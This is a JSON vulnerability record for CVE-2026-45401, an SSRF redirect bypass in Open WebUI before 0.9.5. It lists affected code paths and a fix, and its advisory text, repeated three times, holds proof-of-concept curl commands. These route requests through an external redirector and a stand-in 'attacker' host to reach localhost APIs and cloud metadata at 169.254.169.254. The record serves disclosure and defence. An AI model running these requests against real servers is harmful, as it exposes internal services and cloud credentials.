{"id":"CVE-2026-45401","aliases":["EUVD-2026-30631","GHSA-rh5x-h6pp-cjj6","PYSEC-2026-2755"],"status":"published","title":"Open WebUI: SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers. This vulnerability is fixed in 0.9.5.","severity":{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.003,"percentile":0.22984,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-918"],"published":"2026-05-14T20:27:14Z","modified":"2026-10-28T02:31:15Z","exploits":[{"source":"pocgithub","id":"nayakchinmohan/CVE-2026-45401","title":"nayakchinmohan/CVE-2026-45401","date":"2026-05-26","url":"https://github.com/nayakchinmohan/CVE-2026-45401"}],"fixes":[{"ecosystem":"PyPI","package":"open-webui","fixed_in":["0.9.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.9.4"},{"fixed":"0.9.5"}]}]},{"source":"osv","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.5"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4"]},{"source":"osv","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.5"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4"]}],"products":[{"vendor":"open-webui","product":"open-webui"},{"vendor":"openwebui","product":"open_webui"}],"references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-rh5x-h6pp-cjj6","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/advisories/GHSA-c6xv-rcvw-v685","tags":["advisory"]},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.5","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45401","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rh5x-h6pp-cjj6","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45401.json","tags":["advisory"]},{"url":"https://github.com/open-webui/open-webui","tags":["package"]},{"url":"https://pypi.org/project/open-webui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45401","title":"Open WebUI: SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers. This vulnerability is fixed in 0.9.5.","status":"published","published":"2026-05-15T20:37:29.248Z","modified":"2026-05-18T12:48:33.795Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:46:43.922571Z"}],"euvd":[{"id":"EUVD-2026-30631","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers. This vulnerability is fixed in 0.9.5.","status":"published","published":"2026-05-15T20:37:29Z","modified":"2026-05-18T12:48:33Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T18:21:16.642345Z"}],"ghsa":[{"id":"GHSA-rh5x-h6pp-cjj6","title":"Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)","description":"# Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints\n\n## Summary\n\nThe `validate_url()` function in `backend/open_webui/retrieval/web/utils.py` only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync `requests`, async `aiohttp`, langchain's `WebBaseLoader`) follow HTTP 3xx redirects by default and do **not** re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. `127.0.0.1`, `169.254.169.254`, RFC1918) and read the internal response body via the `/api/v1/retrieval/process/web` endpoint, the `/api/v1/images/...` endpoints, the `/api/chat/completions` endpoint with an `image_url` content part, and any other route that calls these helpers.\n\n## Affected code paths\n\nThe bypass exists across multiple call sites; each independently follows redirects without re-validation.\n\n### Path 1 — sync `_scrape` via `SafeWebBaseLoader`\n\n`backend/open_webui/retrieval/web/utils.py` — `SafeWebBaseLoader` inherits from `langchain_community.document_loaders.WebBaseLoader`. The parent's `_scrape()` calls `self.session.get(url, **self.requests_kwargs)`. `requests_kwargs` only sets `timeout`; `allow_redirects=False` is **not** passed, so `requests.Session.get()` follows redirects with the default `allow_redirects=True`. `validate_url()` is invoked once on the original URL only.\n\n### Path 2 — async `_fetch` (aiohttp)\n\n`backend/open_webui/retrieval/web/utils.py` — `_fetch()` previously inherited the aiohttp default `allow_redirects=True`. As of HEAD this path is fixed (`allow_redirects=False`). Listed for completeness.\n\n### Path 3 — `get_content_from_url` (sync `requests.get`)\n\n`backend/open_webui/retrieval/utils.py` — `response = requests.get(url, stream=True, timeout=30)`. No `allow_redirects=False`. Reached via `/api/v1/retrieval/process/web` (file ingestion) and other routers that resolve external URLs.\n\n### Path 4 — `load_url_image` (image edit)\n\n`backend/open_webui/routers/images.py` — image-URL fetching helper used by the image-edit endpoint. Same pattern: `validate_url()` checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via `/api/v1/images/edit`.\n\n### Path 5 — `get_image_base64_from_url` (chat-completion image inlining)\n\n`backend/open_webui/utils/files.py` — `get_image_base64_from_url()` is invoked from `convert_url_images_to_base64()` in `backend/open_webui/utils/middleware.py` on every `/api/chat/completions` request whose message content includes an `image_url` part. The shared aiohttp session pool (`backend/open_webui/utils/session_pool.py`) does not override the aiohttp default `allow_redirects=True`, and the call site itself does not pass `allow_redirects=False`. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.\n\n## Proof of concept\n\nAuthenticated low-privilege user; default config, no admin or special permissions required.\n\n```bash\ncurl -X POST https://\u003ctarget\u003e/api/v1/retrieval/process/web \\\n  -H \"Authorization: Bearer \u003cany_user_token\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig\u0026status_code=302\"}'\n```\n\nResponse body contains the internal `/api/config` payload in `file.data.content`. Replace the redirect target with `http://169.254.169.254/latest/meta-data/` for cloud metadata, or any internal hostname reachable from the server.\n\nFor the chat-completion path (Path 5), the same redirect is followed when an `image_url` content part points to an attacker-controlled redirector:\n\n```bash\ncurl -X POST https://\u003ctarget\u003e/api/chat/completions \\\n  -H \"Authorization: Bearer \u003cany_user_token\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":[{\"type\":\"text\",\"text\":\"x\"},{\"type\":\"image_url\",\"image_url\":{\"url\":\"http://attacker/redirect-to-imdsv1\"}}]}]}'\n```\n\n## Impact\n\nAny authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.\n\n## Recommended fix\n\nFor every call site that follows redirects, set `allow_redirects=False` on the underlying HTTP client and add a per-hop validation loop using `validate_url()` on each `Location:` header.\n\n## Credits\n\nPer the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.\n\n- **tenbbughunters** — first to identify SafeWebBaseLoader sync `_scrape` (Path 1)\n- **YLChen-007** — first to identify `load_url_image` (Path 4)\n- **tempcollab** — first to identify aiohttp `_fetch` (Path 2)\n- **sneaXOR** — first to identify `get_content_from_url` (Path 3)\n- **nayakchinmohan** — first to identify `get_image_base64_from_url` in chat-completion middleware (Path 5)","status":"published","published":"2026-05-14T20:27:14Z","modified":"2026-05-28T21:50:23Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:14.666177Z"}],"nvd":[{"id":"CVE-2026-45401","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers. This vulnerability is fixed in 0.9.5.","status":"published","published":"2026-05-15T21:16:38.14Z","modified":"2026-06-17T10:52:01.26Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:19.39893Z"}],"osv":[{"id":"CVE-2026-45401","title":"Open WebUI: SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers. This vulnerability is fixed in 0.9.5.","status":"published","published":"2026-05-15T20:37:29.248Z","modified":"2026-10-28T02:31:15.064334368Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:05.525666Z"},{"id":"GHSA-rh5x-h6pp-cjj6","title":"Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)","description":"# Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints\n\n## Summary\n\nThe `validate_url()` function in `backend/open_webui/retrieval/web/utils.py` only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync `requests`, async `aiohttp`, langchain's `WebBaseLoader`) follow HTTP 3xx redirects by default and do **not** re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. `127.0.0.1`, `169.254.169.254`, RFC1918) and read the internal response body via the `/api/v1/retrieval/process/web` endpoint, the `/api/v1/images/...` endpoints, the `/api/chat/completions` endpoint with an `image_url` content part, and any other route that calls these helpers.\n\n## Affected code paths\n\nThe bypass exists across multiple call sites; each independently follows redirects without re-validation.\n\n### Path 1 — sync `_scrape` via `SafeWebBaseLoader`\n\n`backend/open_webui/retrieval/web/utils.py` — `SafeWebBaseLoader` inherits from `langchain_community.document_loaders.WebBaseLoader`. The parent's `_scrape()` calls `self.session.get(url, **self.requests_kwargs)`. `requests_kwargs` only sets `timeout`; `allow_redirects=False` is **not** passed, so `requests.Session.get()` follows redirects with the default `allow_redirects=True`. `validate_url()` is invoked once on the original URL only.\n\n### Path 2 — async `_fetch` (aiohttp)\n\n`backend/open_webui/retrieval/web/utils.py` — `_fetch()` previously inherited the aiohttp default `allow_redirects=True`. As of HEAD this path is fixed (`allow_redirects=False`). Listed for completeness.\n\n### Path 3 — `get_content_from_url` (sync `requests.get`)\n\n`backend/open_webui/retrieval/utils.py` — `response = requests.get(url, stream=True, timeout=30)`. No `allow_redirects=False`. Reached via `/api/v1/retrieval/process/web` (file ingestion) and other routers that resolve external URLs.\n\n### Path 4 — `load_url_image` (image edit)\n\n`backend/open_webui/routers/images.py` — image-URL fetching helper used by the image-edit endpoint. Same pattern: `validate_url()` checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via `/api/v1/images/edit`.\n\n### Path 5 — `get_image_base64_from_url` (chat-completion image inlining)\n\n`backend/open_webui/utils/files.py` — `get_image_base64_from_url()` is invoked from `convert_url_images_to_base64()` in `backend/open_webui/utils/middleware.py` on every `/api/chat/completions` request whose message content includes an `image_url` part. The shared aiohttp session pool (`backend/open_webui/utils/session_pool.py`) does not override the aiohttp default `allow_redirects=True`, and the call site itself does not pass `allow_redirects=False`. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.\n\n## Proof of concept\n\nAuthenticated low-privilege user; default config, no admin or special permissions required.\n\n```bash\ncurl -X POST https://\u003ctarget\u003e/api/v1/retrieval/process/web \\\n  -H \"Authorization: Bearer \u003cany_user_token\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig\u0026status_code=302\"}'\n```\n\nResponse body contains the internal `/api/config` payload in `file.data.content`. Replace the redirect target with `http://169.254.169.254/latest/meta-data/` for cloud metadata, or any internal hostname reachable from the server.\n\nFor the chat-completion path (Path 5), the same redirect is followed when an `image_url` content part points to an attacker-controlled redirector:\n\n```bash\ncurl -X POST https://\u003ctarget\u003e/api/chat/completions \\\n  -H \"Authorization: Bearer \u003cany_user_token\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":[{\"type\":\"text\",\"text\":\"x\"},{\"type\":\"image_url\",\"image_url\":{\"url\":\"http://attacker/redirect-to-imdsv1\"}}]}]}'\n```\n\n## Impact\n\nAny authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.\n\n## Recommended fix\n\nFor every call site that follows redirects, set `allow_redirects=False` on the underlying HTTP client and add a per-hop validation loop using `validate_url()` on each `Location:` header.\n\n## Credits\n\nPer the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.\n\n- **tenbbughunters** — first to identify SafeWebBaseLoader sync `_scrape` (Path 1)\n- **YLChen-007** — first to identify `load_url_image` (Path 4)\n- **tempcollab** — first to identify aiohttp `_fetch` (Path 2)\n- **sneaXOR** — first to identify `get_content_from_url` (Path 3)\n- **nayakchinmohan** — first to identify `get_image_base64_from_url` in chat-completion middleware (Path 5)","status":"published","published":"2026-05-14T20:27:14Z","modified":"2026-07-13T16:42:41.191674011Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:55.877614Z"},{"id":"PYSEC-2026-2755","title":"Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)","description":"# Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints\n\n## Summary\n\nThe `validate_url()` function in `backend/open_webui/retrieval/web/utils.py` only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync `requests`, async `aiohttp`, langchain's `WebBaseLoader`) follow HTTP 3xx redirects by default and do **not** re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. `127.0.0.1`, `169.254.169.254`, RFC1918) and read the internal response body via the `/api/v1/retrieval/process/web` endpoint, the `/api/v1/images/...` endpoints, the `/api/chat/completions` endpoint with an `image_url` content part, and any other route that calls these helpers.\n\n## Affected code paths\n\nThe bypass exists across multiple call sites; each independently follows redirects without re-validation.\n\n### Path 1 — sync `_scrape` via `SafeWebBaseLoader`\n\n`backend/open_webui/retrieval/web/utils.py` — `SafeWebBaseLoader` inherits from `langchain_community.document_loaders.WebBaseLoader`. The parent's `_scrape()` calls `self.session.get(url, **self.requests_kwargs)`. `requests_kwargs` only sets `timeout`; `allow_redirects=False` is **not** passed, so `requests.Session.get()` follows redirects with the default `allow_redirects=True`. `validate_url()` is invoked once on the original URL only.\n\n### Path 2 — async `_fetch` (aiohttp)\n\n`backend/open_webui/retrieval/web/utils.py` — `_fetch()` previously inherited the aiohttp default `allow_redirects=True`. As of HEAD this path is fixed (`allow_redirects=False`). Listed for completeness.\n\n### Path 3 — `get_content_from_url` (sync `requests.get`)\n\n`backend/open_webui/retrieval/utils.py` — `response = requests.get(url, stream=True, timeout=30)`. No `allow_redirects=False`. Reached via `/api/v1/retrieval/process/web` (file ingestion) and other routers that resolve external URLs.\n\n### Path 4 — `load_url_image` (image edit)\n\n`backend/open_webui/routers/images.py` — image-URL fetching helper used by the image-edit endpoint. Same pattern: `validate_url()` checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via `/api/v1/images/edit`.\n\n### Path 5 — `get_image_base64_from_url` (chat-completion image inlining)\n\n`backend/open_webui/utils/files.py` — `get_image_base64_from_url()` is invoked from `convert_url_images_to_base64()` in `backend/open_webui/utils/middleware.py` on every `/api/chat/completions` request whose message content includes an `image_url` part. The shared aiohttp session pool (`backend/open_webui/utils/session_pool.py`) does not override the aiohttp default `allow_redirects=True`, and the call site itself does not pass `allow_redirects=False`. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.\n\n## Proof of concept\n\nAuthenticated low-privilege user; default config, no admin or special permissions required.\n\n```bash\ncurl -X POST https://\u003ctarget\u003e/api/v1/retrieval/process/web \\\n  -H \"Authorization: Bearer \u003cany_user_token\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig\u0026status_code=302\"}'\n```\n\nResponse body contains the internal `/api/config` payload in `file.data.content`. Replace the redirect target with `http://169.254.169.254/latest/meta-data/` for cloud metadata, or any internal hostname reachable from the server.\n\nFor the chat-completion path (Path 5), the same redirect is followed when an `image_url` content part points to an attacker-controlled redirector:\n\n```bash\ncurl -X POST https://\u003ctarget\u003e/api/chat/completions \\\n  -H \"Authorization: Bearer \u003cany_user_token\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":[{\"type\":\"text\",\"text\":\"x\"},{\"type\":\"image_url\",\"image_url\":{\"url\":\"http://attacker/redirect-to-imdsv1\"}}]}]}'\n```\n\n## Impact\n\nAny authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.\n\n## Recommended fix\n\nFor every call site that follows redirects, set `allow_redirects=False` on the underlying HTTP client and add a per-hop validation loop using `validate_url()` on each `Location:` header.\n\n## Credits\n\nPer the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.\n\n- **tenbbughunters** — first to identify SafeWebBaseLoader sync `_scrape` (Path 1)\n- **YLChen-007** — first to identify `load_url_image` (Path 4)\n- **tempcollab** — first to identify aiohttp `_fetch` (Path 2)\n- **sneaXOR** — first to identify `get_content_from_url` (Path 3)\n- **nayakchinmohan** — first to identify `get_image_base64_from_url` in chat-completion middleware (Path 5)","status":"published","published":"2026-07-13T15:19:07.742102Z","modified":"2026-07-13T16:32:24.105598434Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}